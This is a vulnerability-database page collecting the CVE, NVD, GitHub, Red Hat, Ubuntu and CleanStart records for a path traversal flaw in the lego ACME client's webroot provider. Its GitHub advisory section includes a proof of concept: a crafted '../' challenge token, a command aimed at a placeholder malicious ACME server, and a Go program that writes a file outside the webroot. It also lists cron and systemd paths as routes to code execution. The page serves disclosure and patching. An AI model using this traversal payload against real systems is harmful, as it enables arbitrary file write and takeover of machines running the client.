Vulnerability-Lookup

CVE-2026-40611 (GCVE-0-2026-40611)

Vulnerability from cvelistv5 – Published: 2026-04-21 17:58 – Updated: 2026-07-15 01:00

Title

Lego: Arbitrary File Write via Path Traversal in Webroot HTTP-01 Provider

Summary

Let's Encrypt client and ACME library written in Go (Lego). Prior to 4.34.0, the webroot HTTP-01 challenge provider in lego is vulnerable to arbitrary file write and deletion via path traversal. A malicious ACME server can supply a crafted challenge token containing ../ sequences, causing lego to write attacker-influenced content to any path writable by the lego process. This vulnerability is fixed in 4.34.0.

Severity

8.8 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

SSVC

Exploitation: poc Automatable: no Technical Impact: total

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-04-21 19:17 UTC

CWE

CWE-22 - Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Assigner

GitHub_M mitre root

References

5 references

URL	Tags
https://github.com/go-acme/lego/security/advisori…	x_refsource_CONFIRM
https://access.redhat.com/security/cve/CVE-2026-40611	vdb-entryx_refsource_REDHAT
https://bugzilla.redhat.com/show_bug.cgi?id=2460233	issue-trackingx_refsource_REDHAT
https://security.access.redhat.com/data/csaf/v2/v…	x_sadp-csaf-vex
https://access.redhat.com/errata/RHSA-2026:21772	vendor-advisoryx_refsource_REDHAT

Impacted products

2 products

Vendor	Product	Version	CPE status
go-acme	lego	Affected: < 4.34.0	guessed
Red Hat	Red Hat OpenShift Dev Spaces 3.28	Unaffected: 1779786779 , < * (rpm) cpe:/a:redhat:openshift_devspaces:3.28::el9

Show details on NVD website

JSON

To clipboard

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cleanstart-2026-qi45196

Vulnerability from cleanstart

Published

2026-08-13 12:10

Modified

2026-09-04 12:17

Summary

Security fixes in forecastle 1.0.159-r1

Details

Package forecastle version 1.0.159-r1 fixes 43 vulnerabilities: CVE-2026-40611, CVE-2026-34986, CVE-2026-48020, CVE-2026-26999, CVE-2026-29054...

References

URL

Type

https://github.com/stakater/Forecastle

WEB

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "CleanStart",
        "name": "forecastle"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.0.159-r1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "1.0.159-r1"
      ]
    }
  ],
  "credits": [],
  "database_specific": {},
  "details": "Package forecastle version 1.0.159-r1 fixes 43 vulnerabilities: CVE-2026-40611, CVE-2026-34986, CVE-2026-48020, CVE-2026-26999, CVE-2026-29054...",
  "id": "CLEANSTART-2026-QI45196",
  "modified": "2026-09-04T12:17:57Z",
  "published": "2026-08-13T12:10:09Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/stakater/Forecastle"
    }
  ],
  "related": [],
  "schema_version": "1.7.3",
  "summary": "Security fixes in forecastle 1.0.159-r1",
  "upstream": [
    "CVE-2026-40611",
    "CVE-2026-34986",
    "CVE-2026-48020",
    "CVE-2026-26999",
    "CVE-2026-29054",
    "CVE-2026-32305",
    "CVE-2026-35051",
    "CVE-2026-39858",
    "CVE-2026-40912",
    "ghsa-46wh-3698-f2cx",
    "ghsa-4hjq-9h5c-252j",
    "ghsa-gv8r-9rw9-9697",
    "CVE-2026-22045",
    "CVE-2026-26998",
    "CVE-2026-32595",
    "CVE-2026-33433",
    "CVE-2026-41174",
    "CVE-2026-41181",
    "CVE-2026-41263",
    "CVE-2026-44774",
    "CVE-2026-39828",
    "CVE-2026-39829",
    "CVE-2026-39830",
    "CVE-2026-39831",
    "CVE-2026-39832",
    "CVE-2026-39835",
    "CVE-2026-42508",
    "CVE-2026-46595",
    "CVE-2026-46597",
    "CVE-2026-39827",
    "CVE-2026-39833",
    "CVE-2026-39834",
    "CVE-2026-46598",
    "CVE-2026-25681",
    "CVE-2026-27136",
    "CVE-2026-33814",
    "CVE-2026-39821",
    "CVE-2026-25680",
    "CVE-2026-42502",
    "CVE-2026-42506",
    "CVE-2026-46600",
    "CVE-2026-39824",
    "CVE-2026-56852"
  ]
}

FKIE_CVE-2026-40611

Vulnerability from fkie_nvd - Published: 2026-04-21 18:16 - Updated: 2026-07-15 02:21

Severity

8.8 (High) - CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
8.8 (High) - CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/go-acme/lego/security/advisories/GHSA-qqx8-2xmm-jrv8
	0b0ca135-0b70-47e7-9f44-1890c2a1c46c	https://access.redhat.com/errata/RHSA-2026:21772
	0b0ca135-0b70-47e7-9f44-1890c2a1c46c	https://access.redhat.com/security/cve/CVE-2026-40611
	0b0ca135-0b70-47e7-9f44-1890c2a1c46c	https://bugzilla.redhat.com/show_bug.cgi?id=2460233
	134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/go-acme/lego/security/advisories/GHSA-qqx8-2xmm-jrv8
	0b0ca135-0b70-47e7-9f44-1890c2a1c46c	https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-40611.json

Impacted products

	Vendor	Product	Version

JSON

To clipboard

{
  "affected": [
    {
      "affectedData": [
        {
          "product": "lego",
          "vendor": "go-acme",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 4.34.0"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    },
    {
      "affectedData": [
        {
          "collectionURL": "https://catalog.redhat.com/software/containers/",
          "cpes": [
            "cpe:/a:redhat:openshift_devspaces:3.28::el9"
          ],
          "defaultStatus": "affected",
          "packageName": "devspaces/traefik-rhel9",
          "product": "Red Hat OpenShift Dev Spaces 3.28",
          "vendor": "Red Hat",
          "versions": [
            {
              "lessThan": "*",
              "status": "unaffected",
              "version": "1779786779",
              "versionType": "rpm"
            }
          ]
        }
      ],
      "source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Let\u0027s Encrypt client and ACME library written in Go (Lego). Prior to 4.34.0, the webroot HTTP-01 challenge provider in lego is vulnerable to arbitrary file write and deletion via path traversal. A malicious ACME server can supply a crafted challenge token containing ../ sequences, causing lego to write attacker-influenced content to any path writable by the lego process. This vulnerability is fixed in 4.34.0."
    }
  ],
  "id": "CVE-2026-40611",
  "lastModified": "2026-07-15T02:21:07.713",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 8.8,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "REQUIRED",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 2.8,
        "impactScore": 5.9,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      },
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 8.8,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "REQUIRED",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 2.8,
        "impactScore": 5.9,
        "source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-40611",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "total"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-04-21T19:17:50.782641Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-04-21T18:16:52.457",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/go-acme/lego/security/advisories/GHSA-qqx8-2xmm-jrv8"
    },
    {
      "source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
      "url": "https://access.redhat.com/errata/RHSA-2026:21772"
    },
    {
      "source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
      "url": "https://access.redhat.com/security/cve/CVE-2026-40611"
    },
    {
      "source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2460233"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "url": "https://github.com/go-acme/lego/security/advisories/GHSA-qqx8-2xmm-jrv8"
    },
    {
      "source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
      "url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-40611.json"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Deferred",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-22"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
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    {
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          "value": "CWE-22"
        }
      ],
      "source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
      "type": "Secondary"
    }
  ]
}

GHSA-QQX8-2XMM-JRV8

Vulnerability from github – Published: 2026-04-16 21:28 – Updated: 2026-04-27 16:16

Summary

ACME Lego: Arbitrary File Write via Path Traversal in Webroot HTTP-01 Provider

Details

Summary

The webroot HTTP-01 challenge provider in lego is vulnerable to arbitrary file write and deletion via path traversal. A malicious ACME server can supply a crafted challenge token containing ../ sequences, causing lego to write attacker-influenced content to any path writable by the lego process.

Details

The ChallengePath() function in challenge/http01/http_challenge.go:26-27 constructs the challenge file path by directly concatenating the ACME token without any validation:

func ChallengePath(token string) string {
    return "/.well-known/acme-challenge/" + token
}

The webroot provider in providers/http/webroot/webroot.go:31 then joins this with the configured webroot directory and writes the key authorization content to the resulting path:

challengeFilePath := filepath.Join(w.path, http01.ChallengePath(token))
err = os.MkdirAll(filepath.Dir(challengeFilePath), 0o755)
err = os.WriteFile(challengeFilePath, []byte(keyAuth), 0o644)

RFC 8555 Section 8.3 specifies that ACME tokens must only contain characters from the base64url alphabet ([A-Za-z0-9_-]), but this constraint is never enforced anywhere in the codebase. When a malicious ACME server returns a token such as ../../../../../../tmp/evil, filepath.Join() resolves the .. components, producing a path outside the webroot directory.

The same vulnerability exists in the CleanUp() function at providers/http/webroot/webroot.go:48, which deletes the challenge file using the same unsanitized path:

err := os.Remove(filepath.Join(w.path, http01.ChallengePath(token)))

This additionally enables arbitrary file deletion.

PoC

In a real attack scenario, the victim uses --server to point lego at a malicious ACME server, combined with --http.webroot:

lego --server https://malicious-acme.example.com \
     --http --http.webroot /var/www/html \
     --email user@example.com \
     --domains example.com \
     run

The malicious server returns a challenge token containing path traversal sequences ../../../../../../tmp/pwned. lego's webroot provider writes the key authorization to the traversed path without validation, resulting in arbitrary file write outside the webroot.

The following minimal Go program demonstrates the core vulnerability by directly calling the webroot provider with a crafted token:

package main

import (
    "fmt"
    "os"

    "github.com/go-acme/lego/v4/providers/http/webroot"
)

func main() {
    webrootDir, _ := os.MkdirTemp("", "lego-webroot-*")
    defer os.RemoveAll(webrootDir)

    provider, _ := webroot.NewHTTPProvider(webrootDir)
    token := "../../../../../../../../../../tmp/pwned"
    provider.Present("example.com", token, "EXPLOITED-BY-PATH-TRAVERSAL")

    data, err := os.ReadFile("/tmp/pwned")
    if err == nil {
        fmt.Println("[+] VULNERABILITY CONFIRMED")
        fmt.Printf("[+] File written outside webroot: /tmp/pwned\n")
        fmt.Printf("[+] Content: %s\n", data)
    }
}

go build -o exploit ./exploit.go && ./exploit

Expected output:

[+] VULNERABILITY CONFIRMED
[+] File written outside webroot: /tmp/pwned
[+] Content: EXPLOITED-BY-PATH-TRAVERSAL

Impact

This is a path traversal vulnerability (CWE-22). Any user running lego with the HTTP-01 challenge solver against a malicious or compromised ACME server is affected.

A malicious ACME server can:

Achieve remote code execution by writing to cron directories, systemd unit paths, shell profiles, or web application directories served by the webroot.
Destroy data by overwriting configuration files, TLS certificates, or application state.
Escalate privileges if lego runs as root, granting unrestricted filesystem write access.
Delete arbitrary files via the CleanUp() code path using the same unsanitized token.

Severity

8.8 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/go-acme/lego/v4"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.34.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/go-acme/lego/v3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "3.9.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/go-acme/lego"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "2.7.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-40611"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-16T21:28:55Z",
    "nvd_published_at": "2026-04-21T18:16:52Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nThe webroot HTTP-01 challenge provider in lego is vulnerable to arbitrary file write and deletion via path traversal. A malicious ACME server can supply a crafted challenge token containing `../` sequences, causing lego to write attacker-influenced content to any path writable by the lego process. \n\n### Details\n\nThe `ChallengePath()` function in `challenge/http01/http_challenge.go:26-27` constructs the challenge file path by directly concatenating the ACME token without any validation:\n\n```go\nfunc ChallengePath(token string) string {\n\treturn \"/.well-known/acme-challenge/\" + token\n}\n```\n\nThe webroot provider in `providers/http/webroot/webroot.go:31` then joins this with the configured webroot directory and writes the key authorization content to the resulting path:\n\n```go\nchallengeFilePath := filepath.Join(w.path, http01.ChallengePath(token))\nerr = os.MkdirAll(filepath.Dir(challengeFilePath), 0o755)\nerr = os.WriteFile(challengeFilePath, []byte(keyAuth), 0o644)\n```\n\nRFC 8555 Section 8.3 specifies that ACME tokens must only contain characters from the base64url alphabet (`[A-Za-z0-9_-]`), but this constraint is never enforced anywhere in the codebase. When a malicious ACME server returns a token such as `../../../../../../tmp/evil`, `filepath.Join()` resolves the `..` components, producing a path outside the webroot directory.\n\nThe same vulnerability exists in the `CleanUp()` function at `providers/http/webroot/webroot.go:48`, which deletes the challenge file using the same unsanitized path:\n\n```go\nerr := os.Remove(filepath.Join(w.path, http01.ChallengePath(token)))\n```\n\nThis additionally enables arbitrary file deletion.\n\n### PoC\n\nIn a real attack scenario, the victim uses `--server` to point lego at a malicious ACME server, combined with `--http.webroot`:\n\n```bash\nlego --server https://malicious-acme.example.com \\\n     --http --http.webroot /var/www/html \\\n     --email user@example.com \\\n     --domains example.com \\\n     run\n```\n\nThe malicious server returns a challenge token containing path traversal sequences `../../../../../../tmp/pwned`. lego\u0027s webroot provider writes the key authorization to the traversed path without validation, resulting in arbitrary file write outside the webroot.\n\nThe following minimal Go program demonstrates the core vulnerability by directly calling the webroot provider with a crafted token:\n\n```go\npackage main\n\nimport (\n\t\"fmt\"\n\t\"os\"\n\n\t\"github.com/go-acme/lego/v4/providers/http/webroot\"\n)\n\nfunc main() {\n\twebrootDir, _ := os.MkdirTemp(\"\", \"lego-webroot-*\")\n\tdefer os.RemoveAll(webrootDir)\n\n\tprovider, _ := webroot.NewHTTPProvider(webrootDir)\n\ttoken := \"../../../../../../../../../../tmp/pwned\"\n\tprovider.Present(\"example.com\", token, \"EXPLOITED-BY-PATH-TRAVERSAL\")\n\n\tdata, err := os.ReadFile(\"/tmp/pwned\")\n\tif err == nil {\n\t\tfmt.Println(\"[+] VULNERABILITY CONFIRMED\")\n\t\tfmt.Printf(\"[+] File written outside webroot: /tmp/pwned\\n\")\n\t\tfmt.Printf(\"[+] Content: %s\\n\", data)\n\t}\n}\n```\n\n```bash\ngo build -o exploit ./exploit.go \u0026\u0026 ./exploit\n```\n\nExpected output:\n\n```\n[+] VULNERABILITY CONFIRMED\n[+] File written outside webroot: /tmp/pwned\n[+] Content: EXPLOITED-BY-PATH-TRAVERSAL\n```\n\n### Impact\n\nThis is a path traversal vulnerability (CWE-22). Any user running lego with the HTTP-01 challenge solver against a malicious or compromised ACME server is affected.\n\nA malicious ACME server can:\n\n- Achieve remote code execution by writing to cron directories, systemd unit paths, shell profiles, or web application directories served by the webroot.\n- Destroy data by overwriting configuration files, TLS certificates, or application state.\n- Escalate privileges if lego runs as root, granting unrestricted filesystem write access.\n- Delete arbitrary files via the `CleanUp()` code path using the same unsanitized token.",
  "id": "GHSA-qqx8-2xmm-jrv8",
  "modified": "2026-04-27T16:16:11Z",
  "published": "2026-04-16T21:28:55Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/go-acme/lego/security/advisories/GHSA-qqx8-2xmm-jrv8"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40611"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/go-acme/lego"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "ACME Lego: Arbitrary File Write via Path Traversal in Webroot HTTP-01 Provider"
}

RHSA-2026:21772

Vulnerability from csaf_redhat - Published: 2026-05-28 21:29 - Updated: 2026-09-15 23:45

Summary

Red Hat Security Advisory: Red Hat OpenShift Dev Spaces 3.28.0 Release.

Severity

Important

Scope

39 vulnerabilities in this advisory, including CVE-2026-40611.

CVE-2026-40611

A flaw was found in lego, the Let's Encrypt client and ACME library written in Go. A malicious ACME (Automated Certificate Management Environment) server can exploit a path traversal vulnerability in the webroot HTTP-01 challenge provider. By supplying a specially crafted challenge token containing directory traversal sequences, the server can cause lego to write or delete files in arbitrary locations on the system where lego is running, potentially leading to system compromise.

8.8 (High)


                
                  CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Fixed: 4 products Known not affected: 57 products

https://access.redhat.com/errata/RHSA-2026:21772

Open the full advisory

ubuntu-cve-2026-40611

Vulnerability from osv_ubuntu

Published

2026-04-21 18:16

Modified

2026-06-30 16:20

Summary

Details

Severity

8.8 (High)


                    
                      CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

8.8 (High)


                    
                      CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

N/A (UNKNOWN)


                    
                      medium

References

URL

Type

	https://ubuntu.com/security/CVE-2026-40611	REPORT
	https://www.cve.org/CVERecord?id=CVE-2026-40611	REPORT
	https://github.com/go-acme/lego/security/advisori…	REPORT

JSON

To clipboard

{
  "affected": [
    {
      "ecosystem_specific": {
        "binaries": [
          {
            "binary_name": "golang-github-xenolf-lego-dev",
            "binary_version": "0.3.1-5"
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          {
            "binary_name": "lego",
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        ]
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      "package": {
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        "name": "golang-github-xenolf-lego",
        "purl": "pkg:deb/ubuntu/golang-github-xenolf-lego@0.3.1-5?arch=source\u0026distro=bionic"
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        {
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            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "0.3.1-5"
      ]
    },
    {
      "ecosystem_specific": {
        "binaries": [
          {
            "binary_name": "golang-github-xenolf-lego-dev",
            "binary_version": "3.2.0-1"
          },
          {
            "binary_name": "lego",
            "binary_version": "3.2.0-1"
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        ]
      },
      "package": {
        "ecosystem": "Ubuntu:20.04:LTS",
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      },
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        "2.7.2+dfsg-1",
        "3.2.0-1"
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    {
      "ecosystem_specific": {
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    {
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      ],
      "versions": [
        "4.9.1-2",
        "4.9.1-3",
        "4.9.1-4"
      ]
    }
  ],
  "aliases": [],
  "details": "Let\u0027s Encrypt client and ACME library written in Go (Lego). Prior to 4.34.0, the webroot HTTP-01 challenge provider in lego is vulnerable to arbitrary file write and deletion via path traversal. A malicious ACME server can supply a crafted challenge token containing ../ sequences, causing lego to write attacker-influenced content to any path writable by the lego process. This vulnerability is fixed in 4.34.0.",
  "id": "UBUNTU-CVE-2026-40611",
  "modified": "2026-06-30T16:20:58Z",
  "published": "2026-04-21T18:16:00Z",
  "references": [
    {
      "type": "REPORT",
      "url": "https://ubuntu.com/security/CVE-2026-40611"
    },
    {
      "type": "REPORT",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-40611"
    },
    {
      "type": "REPORT",
      "url": "https://github.com/go-acme/lego/security/advisories/GHSA-qqx8-2xmm-jrv8"
    }
  ],
  "related": [],
  "schema_version": "1.7.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "medium",
      "type": "Ubuntu"
    }
  ],
  "upstream": [
    "CVE-2026-40611"
  ]
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.

Action not permitted

CVE-2026-40611 (GCVE-0-2026-40611)

cleanstart-2026-qi45196

Vulnerability from cleanstart

FKIE_CVE-2026-40611

GHSA-QQX8-2XMM-JRV8

Summary

Details

PoC

Impact

RHSA-2026:21772

ubuntu-cve-2026-40611

Vulnerability from osv_ubuntu

Tags

Sightings

Nomenclature